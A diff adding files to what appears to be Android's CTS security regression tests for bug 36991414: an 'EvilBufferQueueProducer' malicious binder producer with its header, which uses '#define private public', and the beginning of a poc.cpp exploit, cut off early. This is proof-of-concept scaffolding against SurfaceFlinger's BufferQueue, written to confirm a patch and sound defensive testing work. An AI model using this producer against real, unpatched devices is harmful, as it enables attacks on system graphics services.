+    VALIDATE_CONSISTENCY();
+  }  // Autolock scope
+
+  // Don't send the GraphicBuffer through the callback, and don't send
+  // the slot number, since the consumer shouldn't need it
+  item.mGraphicBuffer.clear();
+  item.mSlot = BufferItem::INVALID_BUFFER_SLOT;
+
+  // Call back without the main BufferQueue lock held, but with the callback
+  // lock held so we can ensure that callbacks occur in order
+  {
+    Mutex::Autolock lock(mCallbackMutex);
+    while (callbackTicket != mCurrentCallbackTicket) {
+      mCallbackCondition.wait(mCallbackMutex);
+    }
+
+    if (frameAvailableListener != NULL) {
+      frameAvailableListener->onFrameAvailable(item);
+    } else if (frameReplacedListener != NULL) {
+      frameReplacedListener->onFrameReplaced(item);
+    }
+
+    ++mCurrentCallbackTicket;
+    mCallbackCondition.broadcast();
+  }
+
+  // Wait without lock held
+  if (mCore->mConnectedApi == NATIVE_WINDOW_API_EGL) {
+    // Waiting here allows for two full buffers to be queued but not a
+    // third. In the event that frames take varying time, this makes a
+    // small trade-off in favor of latency rather than throughput.
+    mLastQueueBufferFence->waitForever("Throttling EGL Production");
+  }
+  mLastQueueBufferFence = fence;
+  mLastQueuedCrop = item.mCrop;
+  mLastQueuedTransform = item.mTransform;
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::cancelBuffer(int slot,
+                                               const sp<Fence>& fence) {
+  ATRACE_CALL();
+  BQ_LOGV("cancelBuffer: slot %d", slot);
+  Mutex::Autolock lock(mCore->mMutex);
+
+  if (mCore->mIsAbandoned) {
+    BQ_LOGE("cancelBuffer: BufferQueue has been abandoned");
+    return NO_INIT;
+  }
+
+  if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+    BQ_LOGE("cancelBuffer: BufferQueue has no connected producer");
+    return NO_INIT;
+  }
+
+  if (mCore->mSharedBufferMode) {
+    BQ_LOGE("cancelBuffer: cannot cancel a buffer in shared buffer mode");
+    return BAD_VALUE;
+  }
+
+  if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS) {
+    BQ_LOGE("cancelBuffer: slot index %d out of range [0, %d)", slot,
+            BufferQueueDefs::NUM_BUFFER_SLOTS);
+    return BAD_VALUE;
+  } else if (!mSlots[slot].mBufferState.isDequeued()) {
+    BQ_LOGE(
+        "cancelBuffer: slot %d is not owned by the producer "
+        "(state = %s)",
+        slot, mSlots[slot].mBufferState.string());
+    return BAD_VALUE;
+  } else if (fence == NULL) {
+    BQ_LOGE("cancelBuffer: fence is NULL");
+    return BAD_VALUE;
+  }
+
+  mSlots[slot].mBufferState.cancel();
+
+  // After leaving shared buffer mode, the shared buffer will still be around.
+  // Mark it as no longer shared if this operation causes it to be free.
+  if (!mCore->mSharedBufferMode && mSlots[slot].mBufferState.isFree()) {
+    mSlots[slot].mBufferState.mShared = false;
+  }
+
+  // Don't put the shared buffer on the free list.
+  if (!mSlots[slot].mBufferState.isShared()) {
+    mCore->mActiveBuffers.erase(slot);
+    mCore->mFreeBuffers.push_back(slot);
+  }
+
+  mSlots[slot].mFence = fence;
+  mCore->mDequeueCondition.broadcast();
+  VALIDATE_CONSISTENCY();
+
+  return NO_ERROR;
+}
+
+int EvilBufferQueueProducer::query(int what, int* outValue) {
+  ATRACE_CALL();
+  Mutex::Autolock lock(mCore->mMutex);
+
+  if (outValue == NULL) {
+    BQ_LOGE("query: outValue was NULL");
+    return BAD_VALUE;
+  }
+
+  if (mCore->mIsAbandoned) {
+    BQ_LOGE("query: BufferQueue has been abandoned");
+    return NO_INIT;
+  }
+
+  int value;
+  switch (what) {
+    case NATIVE_WINDOW_WIDTH:
+      value = static_cast<int32_t>(mCore->mDefaultWidth);
+      break;
+    case NATIVE_WINDOW_HEIGHT:
+      value = static_cast<int32_t>(mCore->mDefaultHeight);
+      break;
+    case NATIVE_WINDOW_FORMAT:
+      value = static_cast<int32_t>(mCore->mDefaultBufferFormat);
+      break;
+    case NATIVE_WINDOW_MIN_UNDEQUEUED_BUFFERS:
+      value = mCore->getMinUndequeuedBufferCountLocked();
+      break;
+    case NATIVE_WINDOW_STICKY_TRANSFORM:
+      value = static_cast<int32_t>(mStickyTransform);
+      break;
+    case NATIVE_WINDOW_CONSUMER_RUNNING_BEHIND:
+      value = (mCore->mQueue.size() > 1);
+      break;
+    case NATIVE_WINDOW_CONSUMER_USAGE_BITS:
+      value = static_cast<int32_t>(mCore->mConsumerUsageBits);
+      break;
+    case NATIVE_WINDOW_DEFAULT_DATASPACE:
+      value = static_cast<int32_t>(mCore->mDefaultBufferDataSpace);
+      break;
+    case NATIVE_WINDOW_BUFFER_AGE:
+      if (mCore->mBufferAge > INT32_MAX) {
+        value = 0;
+      } else {
+        value = static_cast<int32_t>(mCore->mBufferAge);
+      }
+      break;
+    default:
+      return BAD_VALUE;
+  }
+
+  BQ_LOGV("query: %d? %d", what, value);
+  *outValue = value;
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::connect(const sp<IProducerListener>& listener,
+                                          int api, bool producerControlledByApp,
+                                          QueueBufferOutput* output) {
+  ATRACE_CALL();
+  Mutex::Autolock lock(mCore->mMutex);
+  mConsumerName = mCore->mConsumerName;
+  BQ_LOGV("connect: api=%d producerControlledByApp=%s", api,
+          producerControlledByApp ? "true" : "false");
+
+  if (mCore->mIsAbandoned) {
+    BQ_LOGE("connect: BufferQueue has been abandoned");
+    return NO_INIT;
+  }
+
+  if (mCore->mConsumerListener == NULL) {
+    BQ_LOGE("connect: BufferQueue has no consumer");
+    return NO_INIT;
+  }
+
+  if (output == NULL) {
+    BQ_LOGE("connect: output was NULL");
+    return BAD_VALUE;
+  }
+
+  if (mCore->mConnectedApi != BufferQueueCore::NO_CONNECTED_API) {
+    BQ_LOGE("connect: already connected (cur=%d req=%d)", mCore->mConnectedApi,
+            api);
+    return BAD_VALUE;
+  }
+
+  int delta = mCore->getMaxBufferCountLocked(
+                  mCore->mAsyncMode,
+                  mDequeueTimeout < 0 ? mCore->mConsumerControlledByApp &&
+                                            producerControlledByApp
+                                      : false,
+                  mCore->mMaxBufferCount) -
+              mCore->getMaxBufferCountLocked();
+  if (!mCore->adjustAvailableSlotsLocked(delta)) {
+    BQ_LOGE(
+        "connect: BufferQueue failed to adjust the number of available "
+        "slots. Delta = %d",
+        delta);
+    return BAD_VALUE;
+  }
+
+  int status = NO_ERROR;
+  switch (api) {
+    case NATIVE_WINDOW_API_EGL:
+    case NATIVE_WINDOW_API_CPU:
+    case NATIVE_WINDOW_API_MEDIA:
+    case NATIVE_WINDOW_API_CAMERA:
+      mCore->mConnectedApi = api;
+      output->inflate(mCore->mDefaultWidth, mCore->mDefaultHeight,
+                      mCore->mTransformHint,
+                      static_cast<uint32_t>(mCore->mQueue.size()),
+                      mCore->mFrameCounter + 1);
+
+      // Set up a death notification so that we can disconnect
+      // automatically if the remote producer dies
+      if (listener != NULL &&
+          IInterface::asBinder(listener)->remoteBinder() != NULL) {
+        status = IInterface::asBinder(listener)->linkToDeath(
+            static_cast<IBinder::DeathRecipient*>(this));
+        if (status != NO_ERROR) {
+          BQ_LOGE("connect: linkToDeath failed: %s (%d)", strerror(-status),
+                  status);
+        }
+      }
+      mCore->mConnectedProducerListener = listener;
+      break;
+    default:
+      BQ_LOGE("connect: unknown API %d", api);
+      status = BAD_VALUE;
+      break;
+  }
+  mCore->mConnectedPid = IPCThreadState::self()->getCallingPid();
+  mCore->mBufferHasBeenQueued = false;
+  mCore->mDequeueBufferCannotBlock = false;
+  if (mDequeueTimeout < 0) {
+    mCore->mDequeueBufferCannotBlock =
+        mCore->mConsumerControlledByApp && producerControlledByApp;
+  }
+
+  mCore->mAllowAllocation = true;
+  VALIDATE_CONSISTENCY();
+  return status;
+}
+
+status_t EvilBufferQueueProducer::disconnect(int api, DisconnectMode mode) {
+  ATRACE_CALL();
+  BQ_LOGV("disconnect: api %d", api);
+
+  int status = NO_ERROR;
+  sp<IConsumerListener> listener;
+  {  // Autolock scope
+    Mutex::Autolock lock(mCore->mMutex);
+
+    if (mode == DisconnectMode::AllLocal) {
+      if (IPCThreadState::self()->getCallingPid() != mCore->mConnectedPid) {
+        return NO_ERROR;
+      }
+      api = BufferQueueCore::CURRENTLY_CONNECTED_API;
+    }
+
+    mCore->waitWhileAllocatingLocked();
+
+    if (mCore->mIsAbandoned) {
+      // It's not really an error to disconnect after the surface has
+      // been abandoned; it should just be a no-op.
+      return NO_ERROR;
+    }
+
+    if (api == BufferQueueCore::CURRENTLY_CONNECTED_API) {
+      api = mCore->mConnectedApi;
+      // If we're asked to disconnect the currently connected api but
+      // nobody is connected, it's not really an error.
+      if (api == BufferQueueCore::NO_CONNECTED_API) {
+        return NO_ERROR;
+      }
+    }
+
+    switch (api) {
+      case NATIVE_WINDOW_API_EGL:
+      case NATIVE_WINDOW_API_CPU:
+      case NATIVE_WINDOW_API_MEDIA:
+      case NATIVE_WINDOW_API_CAMERA:
+        if (mCore->mConnectedApi == api) {
+          mCore->freeAllBuffersLocked();
+
+          // Remove our death notification callback if we have one
+          if (mCore->mConnectedProducerListener != NULL) {
+            sp<IBinder> token =
+                IInterface::asBinder(mCore->mConnectedProducerListener);
+            // This can fail if we're here because of the death
+            // notification, but we just ignore it
+            token->unlinkToDeath(static_cast<IBinder::DeathRecipient*>(this));
+          }
+          mCore->mSharedBufferSlot = BufferQueueCore::INVALID_BUFFER_SLOT;
+          mCore->mConnectedProducerListener = NULL;
+          mCore->mConnectedApi = BufferQueueCore::NO_CONNECTED_API;
+          mCore->mConnectedPid = -1;
+          mCore->mSidebandStream.clear();
+          mCore->mDequeueCondition.broadcast();
+          listener = mCore->mConsumerListener;
+        } else if (mCore->mConnectedApi != BufferQueueCore::NO_CONNECTED_API) {
+          BQ_LOGE(
+              "disconnect: still connected to another API "
+              "(cur=%d req=%d)",
+              mCore->mConnectedApi, api);
+          status = BAD_VALUE;
+        }
+        break;
+      default:
+        BQ_LOGE("disconnect: unknown API %d", api);
+        status = BAD_VALUE;
+        break;
+    }
+  }  // Autolock scope
+
+  // Call back without lock held
+  if (listener != NULL) {
+    listener->onBuffersReleased();
+  }
+
+  return status;
+}
+
+status_t EvilBufferQueueProducer::setSidebandStream(
+    const sp<NativeHandle>& stream) {
+  sp<IConsumerListener> listener;
+  {  // Autolock scope
+    Mutex::Autolock _l(mCore->mMutex);
+    mCore->mSidebandStream = stream;
+    listener = mCore->mConsumerListener;
+  }  // Autolock scope
+
+  if (listener != NULL) {
+    listener->onSidebandStreamChanged();
+  }
+  return NO_ERROR;
+}
+
+void EvilBufferQueueProducer::allocateBuffers(uint32_t width, uint32_t height,
+                                              PixelFormat format,
+                                              uint32_t usage) {
+  ATRACE_CALL();
+  while (true) {
+    size_t newBufferCount = 0;
+    uint32_t allocWidth = 0;
+    uint32_t allocHeight = 0;
+    PixelFormat allocFormat = PIXEL_FORMAT_UNKNOWN;
+    uint32_t allocUsage = 0;
+    {  // Autolock scope
+      Mutex::Autolock lock(mCore->mMutex);
+      mCore->waitWhileAllocatingLocked();
+
+      if (!mCore->mAllowAllocation) {
+        BQ_LOGE(
+            "allocateBuffers: allocation is not allowed for this "
+            "BufferQueue");
+        return;
+      }
+
+      newBufferCount = mCore->mFreeSlots.size();
+      if (newBufferCount == 0) {
+        return;
+      }
+
+      allocWidth = width > 0 ? width : mCore->mDefaultWidth;
+      allocHeight = height > 0 ? height : mCore->mDefaultHeight;
+      allocFormat = format != 0 ? format : mCore->mDefaultBufferFormat;
+      allocUsage = usage | mCore->mConsumerUsageBits;
+
+      mCore->mIsAllocating = true;
+    }  // Autolock scope
+
+    Vector<sp<GraphicBuffer>> buffers;
+    for (size_t i = 0; i < newBufferCount; ++i) {
+      status_t result = NO_ERROR;
+      sp<GraphicBuffer> graphicBuffer(mCore->mAllocator->createGraphicBuffer(
+          allocWidth, allocHeight, allocFormat, allocUsage,
+          {mConsumerName.string(), mConsumerName.size()}, &result));
+      if (result != NO_ERROR) {
+        BQ_LOGE(
+            "allocateBuffers: failed to allocate buffer (%u x %u, format"
+            " %u, usage %u)",
+            width, height, format, usage);
+        Mutex::Autolock lock(mCore->mMutex);
+        mCore->mIsAllocating = false;
+        mCore->mIsAllocatingCondition.broadcast();
+        return;
+      }
+      buffers.push_back(graphicBuffer);
+    }
+
+    {  // Autolock scope
+      Mutex::Autolock lock(mCore->mMutex);
+      uint32_t checkWidth = width > 0 ? width : mCore->mDefaultWidth;
+      uint32_t checkHeight = height > 0 ? height : mCore->mDefaultHeight;
+      PixelFormat checkFormat =
+          format != 0 ? format : mCore->mDefaultBufferFormat;
+      uint32_t checkUsage = usage | mCore->mConsumerUsageBits;
+      if (checkWidth != allocWidth || checkHeight != allocHeight ||
+          checkFormat != allocFormat || checkUsage != allocUsage) {
+        // Something changed while we released the lock. Retry.
+        BQ_LOGV(
+            "allocateBuffers: size/format/usage changed while allocating. "
+            "Retrying.");
+        mCore->mIsAllocating = false;
+        mCore->mIsAllocatingCondition.broadcast();
+        continue;
+      }
+
+      for (size_t i = 0; i < newBufferCount; ++i) {
+        if (mCore->mFreeSlots.empty()) {
+          BQ_LOGV(
+              "allocateBuffers: a slot was occupied while "
+              "allocating. Dropping allocated buffer.");
+          continue;
+        }
+        auto slot = mCore->mFreeSlots.begin();
+        mCore->clearBufferSlotLocked(*slot);  // Clean up the slot first
+        mSlots[*slot].mGraphicBuffer = buffers[i];
+        mSlots[*slot].mFence = Fence::NO_FENCE;
+
+        // freeBufferLocked puts this slot on the free slots list. Since
+        // we then attached a buffer, move the slot to free buffer list.
+        mCore->mFreeBuffers.push_front(*slot);
+
+        BQ_LOGV("allocateBuffers: allocated a new buffer in slot %d", *slot);
+
+        // Make sure the erase is done after all uses of the slot
+        // iterator since it will be invalid after this point.
+        mCore->mFreeSlots.erase(slot);
+      }
+
+      mCore->mIsAllocating = false;
+      mCore->mIsAllocatingCondition.broadcast();
+      VALIDATE_CONSISTENCY();
+    }  // Autolock scope
+  }
+}
+
+status_t EvilBufferQueueProducer::allowAllocation(bool allow) {
+  ATRACE_CALL();
+  BQ_LOGV("allowAllocation: %s", allow ? "true" : "false");
+
+  Mutex::Autolock lock(mCore->mMutex);
+  mCore->mAllowAllocation = allow;
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::setGenerationNumber(
+    uint32_t generationNumber) {
+  ATRACE_CALL();
+  BQ_LOGV("setGenerationNumber: %u", generationNumber);
+
+  Mutex::Autolock lock(mCore->mMutex);
+  mCore->mGenerationNumber = generationNumber;
+  return NO_ERROR;
+}
+
+String8 EvilBufferQueueProducer::getConsumerName() const {
+  ATRACE_CALL();
+  Mutex::Autolock lock(mCore->mMutex);
+  BQ_LOGV("getConsumerName: %s", mConsumerName.string());
+  return mConsumerName;
+}
+
+status_t EvilBufferQueueProducer::setSharedBufferMode(bool sharedBufferMode) {
+  ATRACE_CALL();
+  BQ_LOGV("setSharedBufferMode: %d", sharedBufferMode);
+
+  Mutex::Autolock lock(mCore->mMutex);
+  if (!sharedBufferMode) {
+    mCore->mSharedBufferSlot = BufferQueueCore::INVALID_BUFFER_SLOT;
+  }
+  mCore->mSharedBufferMode = sharedBufferMode;
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::setAutoRefresh(bool autoRefresh) {
+  ATRACE_CALL();
+  BQ_LOGV("setAutoRefresh: %d", autoRefresh);
+
+  Mutex::Autolock lock(mCore->mMutex);
+
+  mCore->mAutoRefresh = autoRefresh;
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::setDequeueTimeout(nsecs_t timeout) {
+  ATRACE_CALL();
+  BQ_LOGV("setDequeueTimeout: %" PRId64, timeout);
+
+  Mutex::Autolock lock(mCore->mMutex);
+  int delta = mCore->getMaxBufferCountLocked(mCore->mAsyncMode, false,
+                                             mCore->mMaxBufferCount) -
+              mCore->getMaxBufferCountLocked();
+  if (!mCore->adjustAvailableSlotsLocked(delta)) {
+    BQ_LOGE(
+        "setDequeueTimeout: BufferQueue failed to adjust the number of "
+        "available slots. Delta = %d",
+        delta);
+    return BAD_VALUE;
+  }
+
+  mDequeueTimeout = timeout;
+  mCore->mDequeueBufferCannotBlock = false;
+
+  VALIDATE_CONSISTENCY();
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::getLastQueuedBuffer(
+    sp<GraphicBuffer>* outBuffer, sp<Fence>* outFence,
+    float outTransformMatrix[16]) {
+  ATRACE_CALL();
+  BQ_LOGV("getLastQueuedBuffer");
+
+  Mutex::Autolock lock(mCore->mMutex);
+  if (mCore->mLastQueuedSlot == BufferItem::INVALID_BUFFER_SLOT) {
+    *outBuffer = nullptr;
+    *outFence = Fence::NO_FENCE;
+    return NO_ERROR;
+  }
+
+  *outBuffer = mSlots[mCore->mLastQueuedSlot].mGraphicBuffer;
+  *outFence = mLastQueueBufferFence;
+
+  // Currently only SurfaceFlinger internally ever changes
+  // GLConsumer's filtering mode, so we just use 'true' here as
+  // this is slightly specialized for the current client of this API,
+  // which does want filtering.
+  GLConsumer::computeTransformMatrix(
+      outTransformMatrix, mSlots[mCore->mLastQueuedSlot].mGraphicBuffer,
+      mLastQueuedCrop, mLastQueuedTransform, true /* filter */);
+
+  return NO_ERROR;
+}
+
+bool EvilBufferQueueProducer::getFrameTimestamps(
+    uint64_t frameNumber, FrameTimestamps* outTimestamps) const {
+  ATRACE_CALL();
+  BQ_LOGV("getFrameTimestamps, %" PRIu64, frameNumber);
+  sp<IConsumerListener> listener;
+
+  {
+    Mutex::Autolock lock(mCore->mMutex);
+    listener = mCore->mConsumerListener;
+  }
+  if (listener != NULL) {
+    return listener->getFrameTimestamps(frameNumber, outTimestamps);
+  }
+  return false;
+}
+
+void EvilBufferQueueProducer::binderDied(
+    const wp<android::IBinder>& /* who */) {
+  // If we're here, it means that a producer we were connected to died.
+  // We're guaranteed that we are still connected to it because we remove
+  // this callback upon disconnect. It's therefore safe to read mConnectedApi
+  // without synchronization here.
+  int api = mCore->mConnectedApi;
+  disconnect(api);
+}
+
+status_t EvilBufferQueueProducer::getUniqueId(uint64_t* outId) const {
+  BQ_LOGV("getUniqueId");
+
+  *outId = mCore->mUniqueId;
+  return NO_ERROR;
+}
+
+}  // namespace android
diff --git a/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.h b/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.h
new file mode 100644
index 0000000..86355ba
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.h
@@ -0,0 +1,248 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+#define private public
+#include <gui/BufferQueueDefs.h>
+#include <gui/IGraphicBufferProducer.h>
+
+namespace android {
+
+class BufferSlot;
+
+class EvilBufferQueueProducer : public BnGraphicBufferProducer,
+                                private IBinder::DeathRecipient {
+ public:
+  friend class BufferQueue;  // Needed to access binderDied
+
+  EvilBufferQueueProducer(const sp<BufferQueueCore>& core);
+  virtual ~EvilBufferQueueProducer();
+
+  // requestBuffer returns the GraphicBuffer for slot N.
+  //
+  // In normal operation, this is called the first time slot N is returned
+  // by dequeueBuffer.  It must be called again if dequeueBuffer returns
+  // flags indicating that previously-returned buffers are no longer valid.
+  virtual status_t requestBuffer(int slot, sp<GraphicBuffer>* buf);
+
+  // see IGraphicsBufferProducer::setMaxDequeuedBufferCount
+  virtual status_t setMaxDequeuedBufferCount(int maxDequeuedBuffers);
+
+  // see IGraphicsBufferProducer::setAsyncMode
+  virtual status_t setAsyncMode(bool async);
+
+  // dequeueBuffer gets the next buffer slot index for the producer to use.
+  // If a buffer slot is available then that slot index is written to the
+  // location pointed to by the buf argument and a status of OK is returned.
+  // If no slot is available then a status of -EBUSY is returned and buf is
+  // unmodified.
+  //
+  // The outFence parameter will be updated to hold the fence associated with
+  // the buffer. The contents of the buffer must not be overwritten until the
+  // fence signals. If the fence is Fence::NO_FENCE, the buffer may be
+  // written immediately.
+  //
+  // The width and height parameters must be no greater than the minimum of
+  // GL_MAX_VIEWPORT_DIMS and GL_MAX_TEXTURE_SIZE (see: glGetIntegerv).
+  // An error due to invalid dimensions might not be reported until
+  // updateTexImage() is called.  If width and height are both zero, the
+  // default values specified by setDefaultBufferSize() are used instead.
+  //
+  // If the format is 0, the default format will be used.
+  //
+  // The usage argument specifies gralloc buffer usage flags.  The values
+  // are enumerated in gralloc.h, e.g. GRALLOC_USAGE_HW_RENDER.  These
+  // will be merged with the usage flags specified by setConsumerUsageBits.
+  //
+  // The return value may be a negative error value or a non-negative
+  // collection of flags.  If the flags are set, the return values are
+  // valid, but additional actions must be performed.
+  //
+  // If IGraphicBufferProducer::BUFFER_NEEDS_REALLOCATION is set, the
+  // producer must discard cached GraphicBuffer references for the slot
+  // returned in buf.
+  // If IGraphicBufferProducer::RELEASE_ALL_BUFFERS is set, the producer
+  // must discard cached GraphicBuffer references for all slots.
+  //
+  // In both cases, the producer will need to call requestBuffer to get a
+  // GraphicBuffer handle for the returned slot.
+  virtual status_t dequeueBuffer(int* outSlot, sp<Fence>* outFence,
+                                 uint32_t width, uint32_t height,
+                                 PixelFormat format, uint32_t usage);
+
+  // See IGraphicBufferProducer::detachBuffer
+  virtual status_t detachBuffer(int slot);
+
+  // See IGraphicBufferProducer::detachNextBuffer
+  virtual status_t detachNextBuffer(sp<GraphicBuffer>* outBuffer,
+                                    sp<Fence>* outFence);
+
+  // See IGraphicBufferProducer::attachBuffer
+  virtual status_t attachBuffer(int* outSlot, const sp<GraphicBuffer>& buffer);
+
+  // queueBuffer returns a filled buffer to the BufferQueue.
+  //
+  // Additional data is provided in the QueueBufferInput struct.  Notably,
+  // a timestamp must be provided for the buffer. The timestamp is in
+  // nanoseconds, and must be monotonically increasing. Its other semantics
+  // (zero point, etc) are producer-specific and should be documented by the
+  // producer.
+  //
+  // The caller may provide a fence that signals when all rendering
+  // operations have completed.  Alternatively, NO_FENCE may be used,
+  // indicating that the buffer is ready immediately.
+  //
+  // Some values are returned in the output struct: the current settings
+  // for default width and height, the current transform hint, and the
+  // number of queued buffers.
+  virtual status_t queueBuffer(int slot, const QueueBufferInput& input,
+                               QueueBufferOutput* output);
+
+  // cancelBuffer returns a dequeued buffer to the BufferQueue, but doesn't
+  // queue it for use by the consumer.
+  //
+  // The buffer will not be overwritten until the fence signals.  The fence
+  // will usually be the one obtained from dequeueBuffer.
+  virtual status_t cancelBuffer(int slot, const sp<Fence>& fence);
+
+  // Query native window attributes.  The "what" values are enumerated in
+  // window.h (e.g. NATIVE_WINDOW_FORMAT).
+  virtual int query(int what, int* outValue);
+
+  // connect attempts to connect a producer API to the BufferQueue.  This
+  // must be called before any other IGraphicBufferProducer methods are
+  // called except for getAllocator.  A consumer must already be connected.
+  //
+  // This method will fail if connect was previously called on the
+  // BufferQueue and no corresponding disconnect call was made (i.e. if
+  // it's still connected to a producer).
+  //
+  // APIs are enumerated in window.h (e.g. NATIVE_WINDOW_API_CPU).
+  virtual status_t connect(const sp<IProducerListener>& listener, int api,
+                           bool producerControlledByApp,
+                           QueueBufferOutput* output);
+
+  // See IGraphicBufferProducer::disconnect
+  virtual status_t disconnect(int api,
+                              DisconnectMode mode = DisconnectMode::Api);
+
+  // Attaches a sideband buffer stream to the IGraphicBufferProducer.
+  //
+  // A sideband stream is a device-specific mechanism for passing buffers
+  // from the producer to the consumer without using dequeueBuffer/
+  // queueBuffer. If a sideband stream is present, the consumer can choose
+  // whether to acquire buffers from the sideband stream or from the queued
+  // buffers.
+  //
+  // Passing NULL or a different stream handle will detach the previous
+  // handle if any.
+  virtual status_t setSidebandStream(const sp<NativeHandle>& stream);
+
+  // See IGraphicBufferProducer::allocateBuffers
+  virtual void allocateBuffers(uint32_t width, uint32_t height,
+                               PixelFormat format, uint32_t usage);
+
+  // See IGraphicBufferProducer::allowAllocation
+  virtual status_t allowAllocation(bool allow);
+
+  // See IGraphicBufferProducer::setGenerationNumber
+  virtual status_t setGenerationNumber(uint32_t generationNumber);
+
+  // See IGraphicBufferProducer::getConsumerName
+  virtual String8 getConsumerName() const override;
+
+  // See IGraphicBufferProducer::setSharedBufferMode
+  virtual status_t setSharedBufferMode(bool sharedBufferMode) override;
+
+  // See IGraphicBufferProducer::setAutoRefresh
+  virtual status_t setAutoRefresh(bool autoRefresh) override;
+
+  // See IGraphicBufferProducer::setDequeueTimeout
+  virtual status_t setDequeueTimeout(nsecs_t timeout) override;
+
+  // See IGraphicBufferProducer::getLastQueuedBuffer
+  virtual status_t getLastQueuedBuffer(sp<GraphicBuffer>* outBuffer,
+                                       sp<Fence>* outFence,
+                                       float outTransformMatrix[16]) override;
+
+  // See IGraphicBufferProducer::getFrameTimestamps
+  virtual bool getFrameTimestamps(
+      uint64_t frameNumber, FrameTimestamps* outTimestamps) const override;
+
+  // See IGraphicBufferProducer::getUniqueId
+  virtual status_t getUniqueId(uint64_t* outId) const override;
+
+ private:
+  // This is required by the IBinder::DeathRecipient interface
+  virtual void binderDied(const wp<IBinder>& who);
+
+  // Returns the slot of the next free buffer if one is available or
+  // BufferQueueCore::INVALID_BUFFER_SLOT otherwise
+  int getFreeBufferLocked() const;
+
+  // Returns the next free slot if one is available or
+  // BufferQueueCore::INVALID_BUFFER_SLOT otherwise
+  int getFreeSlotLocked() const;
+
+  // waitForFreeSlotThenRelock finds the oldest slot in the FREE state. It may
+  // block if there are no available slots and we are not in non-blocking
+  // mode (producer and consumer controlled by the application). If it blocks,
+  // it will release mCore->mMutex while blocked so that other operations on
+  // the BufferQueue may succeed.
+  enum class FreeSlotCaller {
+    Dequeue,
+    Attach,
+  };
+  status_t waitForFreeSlotThenRelock(FreeSlotCaller caller, int* found) const;
+
+  sp<BufferQueueCore> mCore;
+
+  // This references mCore->mSlots. Lock mCore->mMutex while accessing.
+  BufferQueueDefs::SlotsType& mSlots;
+
+  // This is a cached copy of the name stored in the BufferQueueCore.
+  // It's updated during connect and dequeueBuffer (which should catch
+  // most updates).
+  String8 mConsumerName;
+
+  uint32_t mStickyTransform;
+
+  // This saves the fence from the last queueBuffer, such that the
+  // next queueBuffer call can throttle buffer production. The prior
+  // queueBuffer's fence is not nessessarily available elsewhere,
+  // since the previous buffer might have already been acquired.
+  sp<Fence> mLastQueueBufferFence;
+
+  Rect mLastQueuedCrop;
+  uint32_t mLastQueuedTransform;
+
+  // Take-a-ticket system for ensuring that onFrame* callbacks are called in
+  // the order that frames are queued. While the BufferQueue lock
+  // (mCore->mMutex) is held, a ticket is retained by the producer. After
+  // dropping the BufferQueue lock, the producer must wait on the condition
+  // variable until the current callback ticket matches its retained ticket.
+  Mutex mCallbackMutex;
+  int mNextCallbackTicket;     // Protected by mCore->mMutex
+  int mCurrentCallbackTicket;  // Protected by mCallbackMutex
+  Condition mCallbackCondition;
+
+  // Sets how long dequeueBuffer or attachBuffer will block if a buffer or
+  // slot is not yet available.
+  nsecs_t mDequeueTimeout;
+
+};  // class EvilBufferQueueProducer
+
+}  // namespace android
diff --git a/hostsidetests/security/securityPatch/Bug-36991414/poc.cpp b/hostsidetests/security/securityPatch/Bug-36991414/poc.cpp
new file mode 100644
index 0000000..8de646e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36991414/poc.cpp
@@ -0,0 +1,115 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define LOG_TAG "GUI"
+
+#include <binder/IServiceManager.h>
+#include <fcntl.h>
+#include <gui/BufferQueue.h>
+#include <jni.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/stagefright/foundation/ADebug.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include "cutils/log.h"
+#include "utils/String8.h"
+
+#include <gui/GLConsumer.h>
+#include <gui/IGraphicBufferProducer.h>
+#include <gui/ISurfaceComposer.h>
+#include <gui/Surface.h>
+#include <gui/SurfaceComposerClient.h>
+
+#include <gui/BufferQueue.h>
+#include <gui/BufferQueueConsumer.h>
+#include <gui/BufferQueueCore.h>
+#include <gui/BufferQueueProducer.h>
+#include <ui/Rect.h>
+#include "BufferQueueProducer.h"
+
+using namespace android;
+
+sp<IGraphicBufferProducer> producer;
+sp<IGraphicBufferConsumer> consumer;
+
+static sp<ANativeWindow> gSurface;
+sp<SurfaceComposerClient> composerClient;
+sp<SurfaceControl> control;
+sp<IBinder> handle;
+sp<ISurfaceComposerClient> mClient;
+sp<IGraphicBufferProducer> gbp;
+
+#if MUTI_THREAD
+void* run(void* ptr) {
+  while (1) {
+    mClient->clearLayerFrameStats(handle);
+  }
+  return NULL;
+}
+#endif
+
+void createBufferQueue(sp<IGraphicBufferProducer>* outProducer,
+                       sp<IGraphicBufferConsumer>* outConsumer) {
+  LOG_ALWAYS_FATAL_IF(outProducer == NULL,
+                      "BufferQueue: outProducer must not be NULL");
